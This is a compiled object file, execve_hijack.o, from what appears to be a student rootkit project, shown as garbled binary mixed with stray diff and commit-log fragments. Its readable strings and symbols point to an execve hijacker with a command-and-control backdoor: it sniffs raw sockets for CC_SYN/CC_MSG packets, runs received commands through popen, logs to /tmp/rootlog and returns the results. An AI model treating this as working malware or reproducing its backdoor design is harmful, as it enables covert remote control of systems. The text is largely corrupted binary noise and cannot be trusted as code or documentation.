src/helpers/execve_hijack.o

ELF>D@@UH<55><48>H<EFBFBD><48><EFBFBD>1<><31><EFBFBD><EFBFBD><00>E<EFBFBD><45>}<7D><><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD><00>}<7D><>H<>U<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><00><><EFBFBD><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>{1<><31><EFBFBD><EFBFBD><00>E<EFBFBD><45>}<7D><><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>YH<>E<EFBFBD>H<>E<EFBFBD><00>}<7D><>H<>U<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><00><><EFBFBD><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>u<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD><00>E<EFBFBD>H<EFBFBD>Ā]<5D>f<EFBFBD>UH<55><48>H<EFBFBD><48> H<>}<7D><><00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>H<EFBFBD><00>H<>E<EFBFBD>H<EFBFBD>}<7D><0F>$H<><00><00>H<>H<>E<EFBFBD><45>_<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>U<EFBFBD><55><00>H<><48><0F>H<>}<7D>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><00><00>H<>}<7D><>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48> ]<5D>f.<1F>f<>UH<55><48>H<EFBFBD><48> <00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>
<00><00>H<><48><00><><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>
<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><00>8<EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48> ]<5D>@UH<55><48>H<EFBFBD><48>P<00>E<EFBFBD><00>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD><00>E<EFBFBD>;E<><0F>.<00>u<EFBFBD>H<EFBFBD>E<EFBFBD>HcM<63>H<EFBFBD><14>H<EFBFBD><00><00><00>E<EFBFBD><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>}<7D><>H<>}<7D><>H<>E<EFBFBD>H<EFBFBD>}<7D><>H<>E<EFBFBD><45><00><><0F><><00>E<EFBFBD><45><EFBFBD><01><>H<EFBFBD><48>H<EFBFBD>E<EFBFBD>H<EFBFBD><14>H<><48><EFBFBD>H<EFBFBD><48>H)<29>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>M<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD>	H<><08>E<EFBFBD><00>E<EFBFBD>;E<><0F>.H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>HcU<63>H<EFBFBD>ыM<D18B><4D><EFBFBD>Hc<48>H<EFBFBD>ȋE<C88B><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><00><00><><0F>H<><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00>B<00><><00><00><00>E<EFBFBD><45>}<7D><0F>H<><00><00>E<EFBFBD>H<>E<EFBFBD>HcM<63><0F><08><><0F>&<00>}<7D>H<EFBFBD>u<EFBFBD>HcE<63>Hƺ<00><00>E<EFBFBD><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D>H<EFBFBD><00><00><00>E<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HcM<63><0F><08><><0F>)<00>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>0HcE<63>Hƺ<00><00>E<EFBFBD><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D>H<EFBFBD><00><00><00>}<7D>H<EFBFBD><00>
<00>H<>}<7D>H<EFBFBD><00>H<>}<7D><0F>#<00>}<7D>H<EFBFBD><00><00><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>}<7D>H<EFBFBD><00>	<00><00>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><48>H<><48>`<60><><EFBFBD><EFBFBD><00><00>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD><00><00>H<><48>x<EFBFBD><78><EFBFBD>L<EFBFBD><4C>`<60><><EFBFBD>H<EFBFBD><48>8<EFBFBD><38><EFBFBD><EFBFBD>@<00>(#A<>H<>H<><48>H<>$<24>H<><48> H<><48>X<EFBFBD><58><EFBFBD>H<EFBFBD><48>H<EFBFBD>H <10>8<EFBFBD><38><EFBFBD><10>H<EFBFBD><48><EFBFBD>H<00>H<><48>0<EFBFBD><30><0F>+<00>}<7D>H<EFBFBD><00><00><00>}<7D><><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ǅ4<C785><34><EFBFBD><00><>4<EFBFBD><34><EFBFBD><0F><>4<EFBFBD><34><0F><00><>H<><48><08><><EFBFBD>H<EFBFBD><00>H<><00><00>H<><48><18><><EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><31><EFBFBD>H<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>YH<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><0F> H<><00><00>ǅ4<C785><34><EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48>x<EFBFBD><78><EFBFBD>L<EFBFBD><4C>`<60><><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>@<00>(#A<>H<><48>H<>$<24>H<><48> H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>H <10><><EFBFBD><EFBFBD><EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD>H<00>H<><48>0<EFBFBD><30><0F>+<00>}<7D>H<EFBFBD><00><00><00>}<7D><><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><0F><><EFBFBD><EFBFBD>}<7D><><00>E<EFBFBD><00>E<EFBFBD>H<EFBFBD><48>]<5D>Timer %i started, address sent %llx
rFailed to run command
COMMAND ERRORRESULT OF COMMAND: %s
Hello world from execve hijacker
Argument %i is %s
/usr/bin/sudoFailed to execve()/tmp/rootlogFailed to open log file	
Sniffing...
CC_SYNFailed to open rawsocket
Sniffed
IP: %s
CC_ACKCC_MSG#Received client message
#CC_FINConnection closed by request
Received request: %s
]dv<>}dupu<00>v<>}%I:;($>I:;I:;	
I:;8
.@:;I?4:;I.@:;'I?
:;I4I44:;I<I!I7$>:;!I7&I
I:;
8
I:;8:;:;!I7
D?Q^	s!~<05>?*
<00>V<19><02>X<1B><03><><1B><03><><1C><03><><1C><03><><1C><03><><1D><03><><1E><03><><1E><03><><00>V=<3D>
<02>p=<3D><02>h?2<02>`@<40><03><>wA$
<00>VS<><03><>~T1<03><>}U<><03><>}V><03><>}W<><00>Vj<>
<02>xj<>
<02>pj<>
<02>hj<><02>Xr<><02>Ps<><02>Hw<><03><><06><><03><><06><><03><><06>4<03><>~<06><><03><>~<06><>	<03><>~<06>4<03><>~<06><>A<02>dl<><00><03><>|<7C>	A<03><>~<7E><00><03><>~<06>4<03><>~<06><><03><>}<06><><03><>}Ŕ<03><>}Ɣ<03><>}<06>4<07> 	<00>
	<00>
	<00>	<00><05><03><05><03>
-'	M<05><03>7B<00>
1	<00>
3	<00>
6	<00>
7	<00>
8	<00>
9 	<00>
:(	<00>
;0	<00>
<8	<00>
=@	<00>
@H	<00>
AP	<00>
BX	<00>
D`	<00>
Fh	<00>
Hp	<00>
It	<00>
Jx	<00>
M<EFBFBD>	<00>
N<EFBFBD>	<00>
O<EFBFBD>	<00>
Q<EFBFBD>	<00>
Y<EFBFBD>	<00>
[<5B>	
\<5C>	<00>
]<5D>	X
^<5E>	
_<EFBFBD>	<00>
`<60>	
b<EFBFBD><07>B<05><03><12><13><07>
+<05><03><07>.<12><13><12><16><12><16>C 
b	<00>
d	<00>
e	<00>
f	<00>
g	<00>
h<07><05><07>8	<00>		<00>
	<00>	<00>	<00>
	<00>	<00>	<00>	<00> 	<00>(	*0/<17>?
(	<00>	O		<00>
	<00>	<00> <07>,?/?0	7	98	99	9:	;	<		9=
	~>	~?'2&D<05>(Tbdddpff	9h	9i	<00>	j	<00>	kmn	t
	9{	9|	9}<19>	9<12>	9<12>	~<12>	~<12>9<12>9<12>9<12>9<12>9<12>9<12>9<12>9<12>9<12>	9<12>	9<12>	9<12>~]<12><13><12><1C><00>Ubuntu clang version 12.0.0-3ubuntu1~21.04.2execve_hijack.c/home/osboxes/TFG/src/helpersunsigned intTFD_TIMER_ABSTIMETFD_TIMER_CANCEL_ON_SETlong long unsigned int__u64s_addr__uint32_tuint32_tin_addr_tin_addrtest_time_values_injectionintexecute_commandchargetLocalIpAddressmainnew_valueit_intervaltv_seclong int__time_ttv_nsec__syscall_slong_ttimespecit_valueitimerspecnew_value2max_expfdfd2nowexplong unsigned int__uint64_tuint64_ttot_exps__ssize_tssize_tcommandfp_flags_IO_read_ptr_IO_read_end_IO_read_base_IO_write_base_IO_write_ptr_IO_write_end_IO_buf_base_IO_buf_end_IO_save_base_IO_backup_base_IO_save_end_markers_IO_marker_chain_fileno_flags2_old_offset__off_t_cur_columnunsigned short_vtable_offsetsigned char_shortbuf__ARRAY_SIZE_TYPE___lock_IO_lock_t_offset__off64_t_codecvt_IO_codecvt_wide_data_IO_wide_data_freeres_list_freeres_buf__pad5size_t_mode_unused2_IO_FILEFILEresbufhostbufferIPbufferhost_entryh_nameh_aliasesh_addrtypeh_lengthh_addr_listhostenthostnameargcargvenvpiirawtimetime_ttimeinfotm_sectm_mintm_hourtm_mdaytm_montm_yeartm_wdaytm_ydaytm_isdsttm_gmtofftm_zonetmtimestr__vla_expr0packetipheaderihlversiontosunsigned char__uint8_tuint8_ttot_len__uint16_tuint16_tidfrag_offttlprotocolchecksaddrdaddriphdrtcpheaderth_sportth_dportth_seqtcp_seqth_ackth_x2th_offth_flagsth_winth_sumth_urpsourcedestseqack_seqres1dofffinsynrstpshackurgres2windowurg_ptrtcphdrpayloadpayload_lengthpacket_tlocal_ipremote_ippacket_ackconnection_closeppayload_bufpacket_resargsUbuntu clang version 12.0.0-3ubuntu1~21.04.2zRx<08><00>A<10>C
<02><<00>A<10>C
<02>\<00>A<10>C
<02>|<00>A<10>C
<03>s<00><01>
/usr/include/x86_64-linux-gnu/sys/usr/include/asm-generic/usr/include/x86_64-linux-gnu/bits/usr/include/netinet/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/lib/llvm-12/lib/clang/12.0.0/include./libtimerfd.hint-ll64.htypes.hstdint-uintn.hin.hexecve_hijack.cstruct_timespec.hstruct_itimerspec.hstdio.hstruct_FILE.hstddef.hFILE.hnetdb.htime_t.hstruct_tm.hip.hRawTCP.htcp.h	

	<09><06>=	Jg"<22>#<23><19>	<B 	<g<0B>	<06>
=	Jg#<23>$<24><19>	<D 	<g5<>9<Ju<00>
<EFBFBD><06>M
J<08>KX	g1X#tJ'<27>JgJ	tW'[JJYJK<08>
<EFBFBD><06>xt<0E>gt	g <20>tXu<06>	g<0C>3<06>?t3J<Zt<06>
<08>
t<<'g+<	<09><06><06>\]<10><06>KJXMX<h<	<)t=t<	<<03>f<03>t<06><
<<"I	<06><03>X*<03>tJ/<2F><
g<><05>{	<08>
=J	g<>
uJJJ<g<J	t<06><05>\<>
utJJ<g<t	t<06><05>]<=<?/Xg	<=<0B><>X!v+J3Jt<06>t=Gtt."0<g	<=	<Y<><0B><06><06>	Y tv
t<0B>
u.u<06>gt+<2B><g"
<0A>2Yt-tX%u<06>ut<06>%ttIYStdt't$.0<g<=<Y<16>tYt	ZfXX<Yu<00><00><>	P/<00><00><00><00>*L<00>R<00><00><00>gu<00>vF<00><00><00><00>o<00><00><00><00>E<00><00><00><00>S6	&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>N'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>l&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6'A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>G>n<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>F<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>x"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>c<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Y(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<00>~(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>)(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>L(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>v<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>^(g<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m0x<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I<00>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I<00>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
K<00>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>R<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>R
(W"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>j <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>


-

=3
h9
z@
[K
<00>R
<00>_
<00>g
<00>x
<00><00>
<00><00>
<00><00><00>
<00><00>
'<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>)
<00>5<00>C
<00>Q
<00>_
<00>m
<00>|
<00><00><00><00>
<00>
<00><00>
<00><00>
<00><00>
$<00><00><00>
"<00>
-
2
7$
?2
N@
<00>O
<00>^
<m
<00>|
%<00>
.<00>
8<00>
C<00><00><00>
<<00>5<00>
<00><00>
<00>
m<00>n

<U(
<00>7
F
TQ	b
<00>q
V<00>
b<00>
<00><00>
<00>
<00><00>
1<00>
y<00>
p<00>
=<00>
V<00>
M<00>
D<00>
^
<00>
<00>
<00>!
<00>,
<00><
<00>C
<00>K
<00>W
c
o
{
+<00>
:<00>
H<00>
V<00>
c<00>
o<00>
}<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>#
<00>/
;
-G
>S
P_
ek
~w
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
3<00>
F<00>
Y	
p
<00>D
L
<00>X
<00>d
<00>p
|
<00>
G<00>
<00><00>
W<00>
^<00>
e<00>
m<00>
u<00>
|<00>
<00><00>
<00>
<00>
<00>
<00>9
@
H
<00>T
S`
l

x
<00><00>
M<00>
<00><00>
<00><00>
<00><00>
<00>
"<00>
%<00>
.<00>
2<00>
;
A
G!
<00>,
<00>3
<00>>
I
U
<00>u
]<00>
f<00>
o<00>
~<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>	
<00>	
<00>	
<00>$	
<00>0	
<00>?	
<00>N	
<00>]	
<00>l	
<00>{	
<00><00>	
<00><00>	
<00><00>	
<00><00>	
<00><00>	
;<00>	
<00><00>	
v @<00>`<00><00><00><00>$&'
 "%
(	#!strcpy.debug_abbrev.rela.text.commentexitbuild_standard_packetstrcatfgetsgetLocalIpAddress.debug_strperrorinet_ntopstrcmp.rela.debug_inforawsocket_sniff_patterntest_time_values_injectionmainpopenstrtok.note.GNU-stack.llvm_addrsigprintfexecvewritetimerfd_createpclose.rela.debug_linetimerfd_settimelocaltimeasctime.rela.eh_framegethostbynamegethostnamefreerawsocket_sendexecute_commandgeteuidcalloc.debug_locexecve_hijack.c.strtab.symtabinet_ntoa.rodata.str1.1<00> B<00>@D@&<00><00>2<00><00><00>

PZ
Y<00><00>
<00><00>.<00>d0<00>r!0).<00>W]pX<00>X<00>A`*<00>w%<00>A<00>L<>o<00>B <00>h"<00>
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								ELF>D@@UH<55><48>H<EFBFBD><48><EFBFBD>1<><31><EFBFBD><EFBFBD><00>E<EFBFBD><45>}<7D><><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD><00>}<7D><>H<>U<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><00><><EFBFBD><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>{1<><31><EFBFBD><EFBFBD><00>E<EFBFBD><45>}<7D><><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>YH<>E<EFBFBD>H<>E<EFBFBD><00>}<7D><>H<>U<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><00><><EFBFBD><0F><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>u<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD><00>E<EFBFBD>H<EFBFBD>Ā]<5D>f<EFBFBD>UH<55><48>H<EFBFBD><48> H<>}<7D><><00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>H<EFBFBD><00>H<>E<EFBFBD>H<EFBFBD>}<7D><0F>$H<><00><00>H<>H<>E<EFBFBD><45>_<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>U<EFBFBD><55><00>H<><48><0F>H<>}<7D>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><00><00>H<>}<7D><>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48> ]<5D>f.<1F>f<>UH<55><48>H<EFBFBD><48> <00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>H<><48><00><><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><00>8<EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48> ]<5D>@UH<55><48>H<EFBFBD><48>P<00>E<EFBFBD><00>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD><00>E<EFBFBD>;E<><0F>.<00>u<EFBFBD>H<EFBFBD>E<EFBFBD>HcM<63>H<EFBFBD><14>H<EFBFBD><00><00><00>E<EFBFBD><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>}<7D><>H<>}<7D><>H<>E<EFBFBD>H<EFBFBD>}<7D><>H<>E<EFBFBD><45><00><><0F><><00>E<EFBFBD><45><EFBFBD><01><>H<EFBFBD><48>H<EFBFBD>E<EFBFBD>H<EFBFBD><14>H<><48><EFBFBD>H<EFBFBD><48>H)<29>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>M<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD>	H<><08>E<EFBFBD><00>E<EFBFBD>;E<><0F>.H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>HcU<63>H<EFBFBD>ыM<D18B><4D><EFBFBD>Hc<48>H<EFBFBD>ȋE<C88B><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><00><00><><0F>H<><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00>B<00><><00><00><00>E<EFBFBD><45>}<7D><0F>H<><00><00>E<EFBFBD>H<>E<EFBFBD>HcM<63><0F><08><><0F>&<00>}<7D>H<EFBFBD>u<EFBFBD>HcE<63>Hƺ<00><00>E<EFBFBD><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D>H<EFBFBD><00><00><00>E<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HcM<63><0F><08><><0F>)<00>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>0HcE<63>Hƺ<00><00>E<EFBFBD><45><EFBFBD><01>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D>H<EFBFBD><00><00><00>}<7D>H<EFBFBD><00>
